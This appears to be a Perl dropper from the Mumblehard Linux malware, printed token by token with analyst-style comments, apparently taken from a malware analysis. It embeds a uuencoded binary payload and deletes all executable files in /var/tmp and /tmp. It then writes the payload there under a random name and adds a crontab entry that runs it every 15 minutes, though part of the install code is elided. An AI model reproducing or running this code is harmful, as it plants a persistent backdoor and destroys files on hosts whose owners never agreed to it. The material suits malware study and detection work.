sub
bdrp
{
my
$bdrp
= <<
'BDRPDATA'
;
M?T5,1@$!`0D```````````(``P`!````3(`$""P``````````````#0`(``!
M``````````"`!`@`@`0("1H``!X>```'`````!```(DE"9H$"+@-````,=M3
...
M)S5I=6=\9&(Z-WQT>'-T?#,@/'YR<%-$`@=,1$A#1$P1"U$-7$I$1$!=#Q5+
%%T491S$`
BDRPDATA
$bdrp
=
unpack
(
"u*"
,
$bdrp
);
foreach my
$bdrpp
(
"/var/tmp"
,
"/tmp"
)
{
# Delete all executable files in temporary directory
# (delete existing Mumblehard installation)
for
(
<$bdrpp/*>
)
{
unlink
$_
if
( -
f
$_
&& ( -
x
$_
|| -
X
$_
) );
}
# Create random file name
my
$bdrpn
= [
"a"
..
"z"
,
"A"
..
"Z"
];
$bdrpn
=
join
(
""
,
@
$bdrpn
[
map
{
rand
@
$bdrpn
}
(
1
.. (
6
+
int rand
5
) ) ] );
my
$bdrpb
=
"$bdrpp/$bdrpn"
;
my
$bdrpc
=
$bdrpb
.
int rand
9;
# crontab job to add (runs every 15 minutes)
my
$bdrpt
=
"*/15 * * * * $bdrpb >/dev/null 2>&1\n"
;
if
(
open
( B,
">"
,
$bdrpb
) )
{
# Drop file and install job with crontab
[...]
}
}
}